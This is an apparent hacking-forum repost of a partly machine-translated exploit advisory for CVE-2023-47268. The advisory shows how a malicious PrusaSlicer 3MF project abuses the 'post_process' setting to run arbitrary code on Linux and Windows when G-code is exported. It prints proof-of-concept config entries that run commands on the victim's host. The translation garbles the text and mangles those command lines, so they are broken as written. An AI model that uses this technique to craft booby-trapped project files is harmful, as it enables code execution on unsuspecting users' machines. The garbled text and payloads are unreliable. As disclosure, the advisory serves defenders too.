H

Prusaslicer 2.6.1-任意代码执行

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Prusaslicer 2.6.1- G代码导出上的任意代码执行
#日期: 16/01/2024
#利用作者:KamilBreński
#供应商homepage: https://www.prusa3d.com
#软件link: https://github.com/prusa3d/prusaslicer
#版本: PRUSASLICER到2.6.1版本
#在: Windows和Linux上测试
#CVE: CVE-2023-47268
=============================================================================================================
1.)3MF元数据扩展
=============================================================================================================
Prusaslicer 3MF Project(ZIP)Archives包含“元数据/SLIC3R_PE.CONFIG”文件,该文件描述了各种项目设置,这是对常规3MF文件的扩展。 Prusaslicer解析此附加文件以读取各种项目设置。 One of the settings (post_process) is the post-processing script (https://help.prusa3d.com/article/post-processing-scripts_283913) this feature has great potential for abuse as it allows a malicious user to create an evil 3mf project that will execute arbitrary code when the targeted user exports g-code from the malicious project.为了执行任意代码,需要使用PROST进程脚本设置来修改项目文件,以下面的方式在Windows和Linux主机上证明了这一点。
=============================================================================================================
2.)POC
=============================================================================================================
对于Linux POC,此CLI命令足以执行项目中包含的有效载荷。 './prusa-slicer -s code-exec-linux.3mf'。切片后,将创建一个新的文件'/tmp/hax'。此特定的POC包含“ slic3r_pe.config” file:中的此“ post_process”条目
````````
; post_process='/usr/bin/id/tmp/hax#\ necho'我在这里,在此主机上执行任意代码。感谢您的切片(x_x)' /tmp /hax#'
````````
只需使用“ -s”标志将3MF切片就足以开始执行潜在的恶意代码。
对于具有GUI的Windows POC,需要将恶意3MF文件作为项目文件(或导入的设置)打开。导出后,将出现有效载荷执行的弹出窗口。 Windows POC包含此条目:
````````
; POST_PROCESS='C: \\ Windows \\ System32 \\ cmd.exe /c msg%用户名我在这里,在此主机上执行任意代码。感谢您的切片(x_x)'
````````
 
后退
顶部